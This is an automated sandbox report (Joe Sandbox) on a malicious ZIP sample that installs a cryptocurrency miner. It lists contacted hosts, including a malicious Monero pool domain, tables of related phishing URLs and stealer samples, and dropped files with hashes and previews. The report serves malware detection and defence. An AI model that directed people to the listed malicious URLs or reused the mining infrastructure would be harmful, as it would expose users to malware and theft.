https://login.windows.net/common/oauth2/authorize19g	OfficeClickToRun.exe, 00000074.00000000.1700658907.000001570B606000.00000004.00000001.00020000.00000000.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Routes/Transit	svchost.exe, 00000006.00000003.1370218647.0000022ADE65B000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/wsdl/	lsass.exe, 00000031.00000000.1407322100.000001BA8DA2F000.00000004.00000001.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/ProdV2-C:	svchost.exe, 00000002.00000003.1203500301.0000016358DC2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://powerpoint.office.comSRD13	svchost.exe, 0000006B.00000000.1602961959.00000184E2AFF000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000006B.00000000.1605347716.00000184E2C79000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000006B.00000000.1606710274.00000184E2D4E000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000006B.00000000.1605693530.00000184E2CFA000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://dev.ditu.live.com/webservices/v1/LoggingService/LoggingService.svc/Log?	svchost.exe, 00000006.00000003.1370142823.0000022ADE642000.00000004.00000020.00020000.00000000.sdmp	false		high
https://t0.ssl.ak.tiles.virtualearth.net/tiles/gen	svchost.exe, 00000006.00000003.1370218647.0000022ADE65B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://xmrig.com/docs/algorithms	dialer.exe, 00000051.00000002.2453295770.0000000140001000.00000040.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://outlook.comSRD1-	svchost.exe, 0000006B.00000000.1602961959.00000184E2AFF000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000006B.00000000.1606710274.00000184E2D4E000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
https://tiles.virtualearth.net/tiles/cmd/StreetSideBubbleMetaData?north=	svchost.exe, 00000006.00000003.1370218647.0000022ADE65B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000006.00000002.1371055435.0000022ADE65C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://word.office.comSRD1#	svchost.exe, 0000006B.00000000.1602961959.00000184E2AFF000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000006B.00000000.1606710274.00000184E2D4E000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://dynamic.api.tiles.ditu.live.com/odvs/gdv?pv=1&r=	svchost.exe, 00000006.00000003.1370106910.0000022ADE665000.00000004.00000020.00020000.00000000.sdmp	false		high
https://login.windows.net/common/oauth2/authorizeened(	OfficeClickToRun.exe, 00000074.00000000.1700658907.000001570B606000.00000004.00000001.00020000.00000000.sdmp	false		high
https://login.windows.net/common/oauth2/authorizespacex	OfficeClickToRun.exe, 00000074.00000000.1700658907.000001570B606000.00000004.00000001.00020000.00000000.sdmp	false		high
http://ctldl.w	svchost.exe, 00000069.00000000.1576416010.000001B311C96000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://dev.ditu.live.com/REST/v1/Locations	svchost.exe, 00000006.00000003.1370218647.0000022ADE65B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://login.windows.net/common/oauth2/authorizeoggerp	OfficeClickToRun.exe, 00000074.00000000.1700658907.000001570B606000.00000004.00000001.00020000.00000000.sdmp	false		high
https://login.windows.net/common/oauth2/authorizen	OfficeClickToRun.exe, 00000074.00000000.1700658907.000001570B606000.00000004.00000001.00020000.00000000.sdmp	false		high
https://dev.ditu.live.com/REST/v1/JsonFilter/VenueMaps/data/	svchost.exe, 00000006.00000002.1371073026.0000022ADE677000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000006.00000003.1370002682.0000022ADE671000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dynamic.api.tiles.ditu.live.com/odvs/gd?pv=1&r=	svchost.exe, 00000006.00000003.1370376221.0000022ADE632000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000006.00000003.1370106910.0000022ADE665000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
72.21.81.240	unknown	United States		15133	EDGECASTUS	false
44.196.193.227	monerooceans.stream	United States		14618	AMAZON-AESUS	true

Private

IP
192.168.2.13
192.168.2.23
192.168.2.14
127.0.0.1

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1408951
Start date and time:	2024-03-14 13:58:53 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 13m 8s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsinteractivecookbook.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	79
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	61
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	MDE_File_Sample_c7859a067082aa31648a9b8f2abd982c504dd0af.zip
Detection:	MAL
Classification:	mal100.spyw.evad.mine.winZIP@108/24@1/6
EGA Information:	Successful, ratio: 57.1%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .zip

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, consent.exe, SIHClient.exe, MoUsoCoreWorker.exe, WmiPrvSE.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 23.56.210.93, 20.114.59.183
Excluded domains from analysis (whitelisted): fs.microsoft.com, slscr.update.microsoft.com, e16604.g.akamaiedge.net, sls.update.microsoft.com, prod.fs.microsoft.com.akadns.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, fe3cr.delivery.mp.microsoft.com, glb.sls.prod.dcat.dsp.trafficmanager.net
Execution Graph export aborted for target Setup.exe, PID 1036 because there are no executed function
Execution Graph export aborted for target Setup.exe, PID 6476 because there are no executed function
Execution Graph export aborted for target jnxsifnrdetl.exe, PID 4248 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
VT rate limit hit for: MDE_File_Sample_c7859a067082aa31648a9b8f2abd982c504dd0af.zip

Simulations

Behavior and APIs

Time	Type	Description
13:59:25	API Interceptor	38240x Sleep call for process: svchost.exe modified
13:59:33	API Interceptor	63x Sleep call for process: powershell.exe modified
14:00:18	API Interceptor	261554x Sleep call for process: winlogon.exe modified
14:00:19	API Interceptor	251436x Sleep call for process: lsass.exe modified
14:00:24	API Interceptor	222105x Sleep call for process: dwm.exe modified
14:00:36	API Interceptor	612x Sleep call for process: spoolsv.exe modified
14:00:39	API Interceptor	1x Sleep call for process: MpCmdRun.exe modified
14:00:58	API Interceptor	91x Sleep call for process: OfficeClickToRun.exe modified
14:01:00	API Interceptor	253x Sleep call for process: explorer.exe modified
14:01:02	API Interceptor	59x Sleep call for process: sihost.exe modified
14:01:09	API Interceptor	40x Sleep call for process: ctfmon.exe modified
14:01:10	API Interceptor	30x Sleep call for process: dasHost.exe modified
14:01:30	API Interceptor	1x Sleep call for process: RuntimeBroker.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
72.21.81.240	https://dl.silhcdn.com/1dc240dfb4eb6c5f	Get hash	malicious	Unknown	Browse
	https://controller-software.minebea-intec.com/PC-Tools/IndicatorBrowser2.1.0.1.exe	Get hash	malicious	Unknown	Browse
	https://ssoauth01.screenconnect.com/Bin/ScreenConnect.Client.exe?h=instance-w08c5r-relay.screenconnect.com&p=443&k=BgIAAACkAABSU0ExAAgAAAEAAQBtb%2FXciCJO5hHyAR3NG5qwkHgKE4K5jxeGBs35Nlncjh1l6g%2B23I88rvlqmL%2FU%2BHDK35q63nY%2BZ%2BacGdqbEGbCs9%2BC5ELjJTyrUFEL0gVqegeArzyszYoIS4ijuI8mGGKzW9tytW5tQhqCPuQeWdSbe0f0ttBWIUk6MfP0L7WpImwpbDzvxtmyMWSxZ8JZg39F6e1w8cQHzLH0aqJX9uvQgIvogbJB0mFXWURVi9ErahW%2BwkXWptsr99acbACeWvHhej11zT9ZPHMMaluuXTiYnS06xPJTJZglT5hvMbl15uReewBWhhwiEVa2S%2BD%2BCQEQGLsz1dpJNd543dQllUPh&s=2d10f7e2-3372-4377-b81f-4a7ead155b40&i=&e=Support&y=Guest&r=	Get hash	malicious	ScreenConnect Tool	Browse
	MDE_File_Sample_891148f4a44499290ad196a880d833428cfc751e.zip	Get hash	malicious	Unknown	Browse
	Summaryform_TgQFBSAqdC.zip	Get hash	malicious	AsyncRAT, PureLog Stealer	Browse
	MDE_File_Sample_41d8deaea0ddb3ed4d88efabf26f376282b04177.zip	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.Program.RemoteAdminNET.1.9196.7480.msi	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Amadey, RisePro Stealer	Browse
	SecuriteInfo.com.Program.RemoteAdminNET.1.5343.8667.msi	Get hash	malicious	Unknown	Browse
	OriginalMessage.txt.msg	Get hash	malicious	HTMLPhisher	Browse
44.196.193.227	SecuriteInfo.com.Win64.Evo-gen.32403.24162.exe	Get hash	malicious	Xmrig	Browse
	GoogleCrashHandler.exe	Get hash	malicious	Xmrig	Browse
	yljlbesdmoas.exe	Get hash	malicious	Xmrig	Browse
	BraveCrashHandler.exe	Get hash	malicious	Nanominer, Xmrig	Browse
	GoogleCrashHandler.exe	Get hash	malicious	Xmrig	Browse
	SecuriteInfo.com.W64.Rozena.HA.gen.Eldorado.22978.31544.exe	Get hash	malicious	Xmrig	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
monerooceans.stream	17ae2fbf36a41622374adfd3b1608e08.10.dr	Get hash	malicious	Unknown	Browse	44.224.209.130
	SecuriteInfo.com.Win64.Evo-gen.32403.24162.exe	Get hash	malicious	Xmrig	Browse	44.196.193.227
	GoogleCrashHandler.exe	Get hash	malicious	Xmrig	Browse	44.196.193.227
	yljlbesdmoas.exe	Get hash	malicious	Xmrig	Browse	44.196.193.227
	GoogleCrashHandler.exe	Get hash	malicious	Xmrig	Browse	44.196.193.227
	GoogleCrashHandler.exe	Get hash	malicious	Xmrig	Browse	44.224.209.130
	vHAgn4Dx00.exe	Get hash	malicious	AveMaria, UACMe, Xmrig	Browse	44.224.209.130
	vABMEuk0Ie.exe	Get hash	malicious	Xmrig	Browse	44.196.193.227
	SecuriteInfo.com.W64.Rozena.HA.gen.Eldorado.22978.31544.exe	Get hash	malicious	Xmrig	Browse	44.196.193.227
	jJ4UO2hOfp.exe	Get hash	malicious	Xmrig	Browse	44.224.209.130

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
EDGECASTUS	https://onedrive.live.com/redir?resid=D557EC206FFB7160!18763&authkey=!AJvgTwV6CZ5apWY&page=View&wd=target(Quick%20Notes.one%7Ca4839789-5727-4f4a-8cb7-8f7ca326b900/GEOlogik%20-%20Wilbers%20%20Oeder%20GmbH%7C792c61c4-fbc3-4124-a7a0-3de0f5bd7abc/)&wdorigin=NavigationUrl	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse	152.195.19.97
	https://tracker.club-os.com////campaign/click?46960ms46960gId444d738c6bd137e6a03157c6c728cbc659e734fc398&test=false&target=46960%25E3%2580%2582exoatlettechchn%25E3%2580%2582com/poop/46960%2F%2FUm9ueS5EUkVTU0VMQUVSU0BGQU5DLkZHT1YuQkU=&	Get hash	malicious	Unknown	Browse	192.229.173.207
	Acrobat_Set-Up.exe	Get hash	malicious	Unknown	Browse	152.195.19.97
	BraveBrowserSetup-BRV002.exe	Get hash	malicious	Unknown	Browse	152.195.19.97
	BraveBrowserSetup-BRV002.exe	Get hash	malicious	Unknown	Browse	152.195.19.97
	file.exe	Get hash	malicious	Glupteba, Mars Stealer, Stealc, Vidar	Browse	192.229.211.108
	SecuriteInfo.com.Trojan.PackedNET.2742.9443.15673.exe	Get hash	malicious	Glupteba, Mars Stealer, Socks5Systemz, Stealc, Vidar	Browse	192.229.211.108
	https://prezi.com/i/view/NEzvDMiy71AZ2uVfaGcJ	Get hash	malicious	Unknown	Browse	192.229.210.163
	EXTERNAL New Fax received from eFax - Wednesday 13 March 2024.msg	Get hash	malicious	ScreenConnect Tool	Browse	192.229.211.108
	https://assets-usa.mkt.dynamics.com/eafd3d58-f4cb-ee11-9073-6045bd050506/digitalassets/standaloneforms/a5094c23-a3e0-ee11-904c-6045bd02a830	Get hash	malicious	HTMLPhisher	Browse	152.199.4.44
AMAZON-AESUS	https://interacty.me/projects/2eea3318531e89d3	Get hash	malicious	Unknown	Browse	34.202.177.173
	https://claycohra.knack.com/untitled-app#elderly-housing-corporation/	Get hash	malicious	HTMLPhisher	Browse	3.219.104.238
	file.exe	Get hash	malicious	Amadey, Glupteba	Browse	18.205.93.0
	https://tracker.club-os.com////campaign/click?46960ms46960gId444d738c6bd137e6a03157c6c728cbc659e734fc398&test=false&target=46960%25E3%2580%2582exoatlettechchn%25E3%2580%2582com/poop/46960%2F%2FUm9ueS5EUkVTU0VMQUVSU0BGQU5DLkZHT1YuQkU=&	Get hash	malicious	Unknown	Browse	3.220.144.103
	https://form.questionscout.com/65f2bbc50f97807913312091	Get hash	malicious	Unknown	Browse	34.234.52.18
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	18.205.93.0
	S78uYNGteB.apk	Get hash	malicious	Unknown	Browse	52.73.154.19
	Acrobat_Set-Up.exe	Get hash	malicious	Unknown	Browse	18.211.200.223
	SecuriteInfo.com.ELF.Agent-AIN.23345.28475.elf	Get hash	malicious	Mirai	Browse	54.5.113.144
	SecuriteInfo.com.ELF.Mirai-AJJ.2909.8691.elf	Get hash	malicious	Mirai	Browse	52.202.47.207

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Windows\Temp\sidneyeifgjd.sys	jeNQRsRgBe.exe	Get hash	malicious	Xmrig	Browse
	RemiTool v2.exe	Get hash	malicious	Xmrig	Browse
	SecuriteInfo.com.Trojan.Siggen27.16296.12545.31206.exe	Get hash	malicious	Xmrig	Browse
	Sms OTP Bypass.exe	Get hash	malicious	Xmrig	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.Win64.TrojanX-gen.27837.22565.exe	Get hash	malicious	PureLog Stealer, Xmrig	Browse
	xwizlLLNtX.exe	Get hash	malicious	PureLog Stealer, Xmrig, zgRAT	Browse
	gQZvXi6Osc.exe	Get hash	malicious	PureLog Stealer, Xmrig, zgRAT	Browse
	zLAr8hkDsu.exe	Get hash	malicious	PureLog Stealer, Xmrig, zgRAT	Browse
	udgE7Q3gs6.exe	Get hash	malicious	PureLog Stealer, Xmrig, zgRAT	Browse

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.chk

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.35999246155449205
Encrypted:	false
SSDEEP:	6:6xdoaaD0JOCEfMuaaD0JOCEfMKQmDWxdoaaD0JOCEfMuaaD0JOCEfMKQmD:3aaD0JcaaD0JwQQTaaD0JcaaD0JwQQ
MD5:	72CF57557891086FFCF5496120EBA415
SHA1:	3905AB3A7DD5933B4E17401B911B5FDB17AFE62B
SHA-256:	6C3BE79F6B818243D6538453077C36C23E90106349D7F080AAD7C1D1745FAFE2
SHA-512:	9F94E19ED7BF3C0D629AA177959093D580E7FE59479066BA033C3F3D78E63C2BBC7DCA950A415B5239AC28F5B839E11410D988AA8E762B72F316F31DC4E894F6
Malicious:	false
Preview:	*.>.................D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@....................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\edb.log

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7995225156260047
Encrypted:	false
SSDEEP:	3072:yJjAgNE4Pj5vHcjTcyBP9UjaaQ/ka4qWj:QAgN8nj/ka4
MD5:	64532D8A1B4EA9FEAF11979AAE0DCD85
SHA1:	54CDFB65215977EA8B29C113F19D72B2263348F9
SHA-256:	782C26530D5085EF208598AAD42C22BB86107D4C24E11D6AB4446385979EBFEB
SHA-512:	4239144A044B2718740EBF042706BBAED6F38081A25BAAF425ABA731210470231DD4377AABC2293500D254E8812F6E4772B2DA5FEE3D80511DAB01BD9D484693
Malicious:	false
Preview:	..6.........@..@.....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@....................................d6d6.#.........`h.................h.......6.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x9ad319e8, page size 16384, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.661673741907652
Encrypted:	false
SSDEEP:	1536:bSB2ESB2SSjlK/BkfiQWy10MctJ+t9ka4XQ0wYkr3g16D2UPkLk+k4t4eCu3uKRT:bazaHL7uka4DU2UGRF3p3pvHzrHBHz
MD5:	1ACCBE89EF93E2945F773F8E732D46E7
SHA1:	B9784BF804BE947FF47DA0D8935B839D062C45B2
SHA-256:	110235962ECACCDDFA7A3826C5960CC364BB95A09DDE237FA62ADA0C63A3C9DC
SHA-512:	696E14179DFC54F2C2F047D5A281972E57653C23A777C55957C747876F43B18C2C0A9C106FB84D4C8BFE7FDC673C83DB14CCF5E0E76B3B88CE354AEB498EB12A
Malicious:	false
Preview:	....... ...............X\...;...{......................0............\|...;...\|..h.\|..........\|..0...........D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ............................................................................................................................................................................................................2...{...................................3......\|.?.................*.J.....\|...........................#......0.......................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07368868268858289
Encrypted:	false
SSDEEP:	3:9yl/lUetYeIn5rH//lMrmoxorBrk//lacmo//lallUZ+/l/Q:UltNzmrX+rmourdkXoXoXA7
MD5:	19216A613A01633EB222CE507898CFCE
SHA1:	95C7A7B40E5C5B998C230B3A16693884E092D4D7
SHA-256:	AFCAEF1314335A4887A2BF9ED44E7EE2D36863ECE31A4B2AA85F8C9B4278D686
SHA-512:	4B4AE7A33733B7B76F051F8A8BA7B4AB0E86CF68760D1EA6891390878C060D0BEBC5457D70D25F920DD4FA777F9B0B007A01E323C7234D73CC9C9ACDBC6E29E4
Malicious:	false
Preview:	.........................................;...{...;...\|.......\|...............\|.......\|...........\|...................*.J.....\|..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\USOShared\Logs\System\UpdateSessionOrchestration.ca929a63-a4f5-46d8-adb0-5d93b35205e8.1.etl

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	2.450090112206548
Encrypted:	false
SSDEEP:	48:iGtmEGt2GMRZqbt2YbtybtrBq7bt6cbt9/btKa/btMxbts:iiNiTZ5ZyZ4Z6cZNZNZAZs
MD5:	3E4880DDB501E9706C125E848F9FDAC3
SHA1:	593BB492A8E645607ED4446F8D94D550F8D0C274
SHA-256:	C361070C481E60E94D260CDC1F0B5984735CFDE03CA02D218AD0C2D0A74A6FC4
SHA-512:	54840AD1FB47E08DFE1C8439A16AD808AD6A96F8EB93D0D54C0592DD1B31DF9385AF3506AEE828A1995A655C3908D090C743082C4D1284074E98B689CC4650FB
Malicious:	false
Preview:	............................................................................D...@.......3..u.v..................eJ..............Zb..K....(..........................................@.t.z.r.e.s...d.l.l.,.-.3.2.2.......................................................@.t.z.r.e.s...d.l.l.,.-.3.2.1..............................................................A.Y..........3..u.v..........U.p.d.a.t.e.S.e.s.s.i.o.n.O.r.c.h.e.s.t.r.a.t.i.o.n...C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.U.S.O.S.h.a.r.e.d.\.L.o.g.s.\.S.y.s.t.e.m.\.U.p.d.a.t.e.S.e.s.s.i.o.n.O.r.c.h.e.s.t.r.a.t.i.o.n...c.a.9.2.9.a.6.3.-.a.4.f.5.-.4.6.d.8.-.a.d.b.0.-.5.d.9.3.b.3.5.2.0.5.e.8...1...e.t.l...........P.P.@.......3..u.v..................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\guqotihtvufx\jnxsifnrdetl.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\Temp1_MDE_File_Sample_c7859a067082aa31648a9b8f2abd982c504dd0af.zip\Setup.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	5614592
Entropy (8bit):	6.625028493983766
Encrypted:	false
SSDEEP:	98304:9p8Rhr3GBsnEHQ4ZFRQ0d/OxolgF2+BN9+cNUejaFZHF+1CzsMtnUUPZNj:9p8RhSZzGxEz+BN9+cNUhv+1C9tnUUh9
MD5:	DF65134B0B2B2CC03F07647794B274E5
SHA1:	C7859A067082AA31648A9B8F2ABD982C504DD0AF
SHA-256:	3E3E3BA56FD7260C9B12CCBE0310201D94F128757F31550E3C3D9D0F72899085
SHA-512:	1DCCCF9934F966F90D8D52A2392755EDCACE9E4D6DB456994BFD61ABE059775108D0BF1B9A810B9E0904590D1D2DE4DEE9204F96AD13F62E539F8D981D7DE8D7
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 96%
Preview:	MZx.....................@...................................x...hr......!..L.!This program cannot be run in DOS mode.$..PE..d...5.qe.........."...........U.....@..........@............................. V...........`.....................................................<.....S..0....S...............V.x...............................(.......8...........@...`............................text...F........................... ..`.rdata..H%.......&..................@..@.data.....R.......R.................@....pdata........S......rS.............@..@.00cfg........S......tS.............@..@.tls..........S......vS.............@....rsrc....0....S..2...xS.............@..@.reloc..x.....V.......U.............@..B........................................................................................................................................................................................................................................................................................................

C:\ProgramData\regid.1991-06.com.microsoft\regid.1991-06.com.microsoft_Windows-10-Pro.swidtag

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	999
Entropy (8bit):	4.966299883488245
Encrypted:	false
SSDEEP:	24:Jd4T7gw4TchTGBLtKEHcHGuDyeHRuDye6MGFiP6euDyRtz:34T53VGLv8HGuDyeHRuDye6MGFiP6euy
MD5:	24567B9212F806F6E3E27CDEB07728C0
SHA1:	371AE77042FFF52327BF4B929495D5603404107D
SHA-256:	82F352AD3C9B3E58ECD3207EDC38D5F01B14D968DA908406BD60FD93230B69F6
SHA-512:	5D5E65FCD9061DADC760C9B3124547F2BABEB49FD56A2FD2FE2AD2211A1CB15436DB24308A0B5A87DA24EC6AB2A9B0C5242D828BE85BD1B2683F9468CE310904
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>..<software_identification_tag xmlns="http://standards.iso.org/iso/19770/-2/2009/schema.xsd">...<entitlement_required_indicator>true</entitlement_required_indicator>...<product_title>Windows 10 Pro</product_title>...<product_version>....<name>10.0.19041.1865</name>....<numeric>.....<major>10</major>.....<minor>0</minor>.....<build>19041</build>.....<review>1865</review>....</numeric>...</product_version>...<software_creator>....<name>Microsoft Corporation</name>....<regid>regid.1991-06.com.microsoft</regid>...</software_creator>...<software_licensor>....<name>Microsoft Corporation</name>....<regid>regid.1991-06.com.microsoft</regid>...</software_licensor>...<software_id>....<unique_id>Windows-10-Pro</unique_id>....<tag_creator_regid>regid.1991-06.com.microsoft</tag_creator_regid>...</software_id>...<tag_creator>....<name>Microsoft Corporation</name>....<regid>regid.1991-06.com.microsoft</regid>...</tag_creator>..</software_identification_tag>..

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	modified
Size (bytes):	20884
Entropy (8bit):	5.606009077553241
Encrypted:	false
SSDEEP:	384:QMBrkgGjZJZfBkXhr7FhTRn4UaiQw0Yjn03Mcg4CPfbFlgqd:VrkXgXhrLTRtaLjw2TMbYqd
MD5:	204A7D1FCA6363923592AF1CB04D43E9
SHA1:	DBFF37569E6F344B6671FFA0B1A4024755CA3DAF
SHA-256:	C88EFAF932F22C35A480525E2E25517FBF0BA210D4600A2A5FA92331D9DDC62E
SHA-512:	CA42AC7BCDAC107A4EA0D783157262F1F99054A78B30ADB4719DD17C3B0A29753D8947F5654BD1C10A5EF55D321CD5A6E3FEE5ED9A76EC589F815C84CEE183B0
Malicious:	false
Preview:	@...e........... .......S.................5..........@..........H...............o..b~.D.poM...P..... .Microsoft.PowerShell.ConsoleHostD...............4..7..D.#V.....`.......System.Management.Automation0.................Vn.F..kLsw..........System..4...............<."..Ke@...j..........System.Core.4.................%...K... ...........System.Xml..L.................gQ?O.....x5.{.....#.Microsoft.Management.Infrastructure.8..................1...L..U;V.<}........System.Numerics.@................z.U..G...5.f.1........System.DirectoryServices<................t.,.lG....M...........System.Management...4...............&.QiA0aN.:... .G........System.Data.<...............i..VdqF...\|...........System.ConfigurationH................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<................$@...J....M+.B........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Commands.Utility...D....................+.H..!...e........System.Configuration.Ins

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1ouzpc02.jnl.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3xhp5dxa.c1z.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bropukvx.0wn.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gkt4bawe.gnn.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
